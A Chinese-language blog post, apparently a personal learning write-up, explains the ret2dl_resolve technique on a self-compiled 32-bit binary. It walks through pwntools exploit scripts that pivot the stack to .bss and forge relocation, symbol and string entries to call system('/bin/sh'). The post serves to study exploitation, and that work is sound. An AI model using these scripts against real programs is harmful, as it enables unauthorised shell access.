有这么一个漏洞,他能在程序不提供任何输出函数的情况下执行system("/bin/sh")
,没错,他就是ret2dl_resolve
,这个我也认为是栈溢出的最后一关了,因此我现在就算是栈溢出毕业了吧hhhh。
elf
文件我们自给自足,自己编译,为了一步一步演示,还是给了一个输出函数,但是我们不通过这个输出函数去泄露libc
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <unistd.h> #include <stdio.h> void vuln () { char buf[100 ]; setbuf(stdin , buf); read(0 , buf, 256 ); } int main () { char buf[100 ] = "Welcome to the last stackoverflow" ; setbuf(stdout , buf); puts (buf); vuln(); return 0 ; } $gcc -g ret2dlresolve.c -o bof -no-pie -fno-stack -protector -z relro -m32
我们编译32位的只开NX保护程序测试。
_dl_runtime_resolve函数 _dl_runtime_resolve
的原型是_dl_runtime_resolve(link_map,reloc_offset)
参数link_map
的参数传入在reloc_offset
之后(根据32位函数调用约定),在动态链接中,所有函数的延迟绑定都需要用这个函数去寻址。寻址的时候eip会在plt[0]
然后push got[1],jmp got[2]
,got[1]
就是link_map
,got[2]
就是dl_runtime_resolve
函数了。
再次解释一遍第一次调用函数的流程。调用肯定是从plt表的对应位置调用的,plt表都会指向got表一个地址,got表在没有被写入函数地址时会push
一个reloc_arg
,然后jmp plt[0]
,plt
[0]有一段指令就是压got[1]
做参数,然后jmp dl_runtime_resolve
。然后拆开这个函数会发现它内部调用了_dl_fixup
函数,这个函数就是用来找地址和回写got
表的。
控制reloc_offset参数 对于这个程序,我们先把栈迁移到.bss
段上,然后在这个段上精心构造payload
就可,首先我们直接调用plt[0]
,自己传reloc_offset
参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context.log_level='debug' proc='./bof' elf=ELF(proc) p=process(proc) elf=ELF(proc) read=elf.plt['read' ] bss=0x804c024 ppp_ret=0x08049331 leave_ret=0x08049145 pop_ebp=0x08049333 stack_size=0x400 stack_start=bss+stack_size buf_size=0x6c +4 payload=flat( buf_size*b'a' ,p32(read)+p32(ppp_ret) ,p32(0 )+p32(stack_start) ,p32(100 ) ,p32(pop_ebp) ,p32(stack_start) ,p32(leave_ret) ) p.sendlineafter(b'Welcome to the last stackoverflow' ,payload) sleep(1 ) cmd=b'/bin/sh\0' reloc_arg=0x10 plt_0=0x8049030 payload=flat( b'a' *4 ,p32(plt_0) ,p32(reloc_arg) ,b'a' *4 ,p32(stack_start+92 ) ) payload=payload.ljust(92 ,b'a' ) payload+=cmd p.send(payload) p.interactive()
可以看到我在没有直接调用puts的情况下输出了/bin/sh
字符串。
但是可以看到,这里的第二个参数是我自己传的,为什么是0x10
呢,0x10
是puts
函数的重定位项在.rel.plt
段的偏移。重定位项是这么一个结构体
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; }Elf32_Rel;
由于我们有puts函数,所以.rel.plt
段上有现成的结构体,我们现在主要来伪造.rel.plt
重定位项的结构体。
伪造重定位项 我们只需要改第二个payload
即可。
我们在栈上伪造的重定位项的地址
1 fake_rel-.rel.plt_addr=reloc_offset
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rel_plt=0x8048388 sleep(1 ) fake_puts=flat(p32(puts_got),p32(0x307 )) cmd=b'/bin/sh\0' reloc_arg=stack_start+20 -rel_plt plt_0=0x8049030 payload=flat( b'a' *4 ,p32(plt_0) ,p32(reloc_arg) ,b'a' *4 ,p32(stack_start+92 ) ,fake_puts ) payload=payload.ljust(92 ,b'a' ) payload+=cmd p.send(payload)
运行结果:
伪造符号 既然r_info
我们可以控制,自然我们也能把它的偏移改到我们可以控制的地址当中,然后在那里伪造一个符号结构体。
我们来看看符号ELF32_Sym
的结构体
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
然后构造出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 plt_0=0x8049030 rel_plt=0x8048388 dynsym=0x8048248 str_tab=0x80482D8 cmd=b'/bin/sh\0' align=0x10 -(stack_start+28 -dynsym)%0x10 fake_sym_addr=stack_start+28 +align r_info=(((fake_sym_addr-dynsym)//16 )<<8 )|0x7 fake_puts=flat(p32(puts_got),p32(r_info)) reloc_arg=stack_start+20 -rel_plt fake_sym=flat(p32(0x1a ),p32(0 )*2 ,p32(0x12 )) payload=flat( b'a' *4 ,p32(plt_0) ,p32(reloc_arg) ,b'a' *4 ,p32(stack_start+92 ) ,fake_puts ,align*b'a' ,fake_sym ) payload=payload.ljust(92 ,b'a' ) payload+=cmd p.send(payload)
伪造字符串 最后一步就是在某个地方写上puts
然后修改st_name
到那个puts
就可,然后把puts
替换成system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 python from pwn import *context.log_level='debug' proc='./bof' elf=ELF(proc) p=process(proc) elf=ELF(proc) puts_got=elf.got['puts' ] read=elf.plt['read' ] bss=0x804c024 ppp_ret=0x08049331 leave_ret=0x08049145 pop_ebp=0x08049333 stack_size=0x800 stack_start=bss+stack_size buf_size=0x6c +4 payload=flat( buf_size*b'a' ,p32(read)+p32(ppp_ret) ,p32(0 )+p32(stack_start) ,p32(100 ) ,p32(pop_ebp) ,p32(stack_start) ,p32(leave_ret) ) p.sendlineafter(b'Welcome to the last stackoverflow' ,payload) sleep(1 ) plt_0=0x8049030 rel_plt=0x8048388 dynsym=0x8048248 str_tab=0x80482D8 cmd=b'/bin/sh\0' align=0x10 -(stack_start+28 -dynsym)%0x10 fake_sym_addr=stack_start+28 +align r_info=(((fake_sym_addr-dynsym)//16 )<<8 )|0x7 fake_puts=flat(p32(puts_got),p32(r_info)) str_addr=fake_sym_addr+0x10 st_name=str_addr-str_tab reloc_arg=stack_start+20 -rel_plt fake_sym=flat(p32(st_name),p32(0 )*2 ,p32(0x12 )) payload=flat( b'a' *4 ,p32(plt_0) ,p32(reloc_arg) ,p32(stack_start+92 )*2 ,fake_puts ,align*b'a' ,fake_sym ,b'system\0' ) print (st_name)payload=payload.ljust(92 ,b'a' ) payload+=cmd p.send(payload) p.interactive()
完结撒花,开始学堆。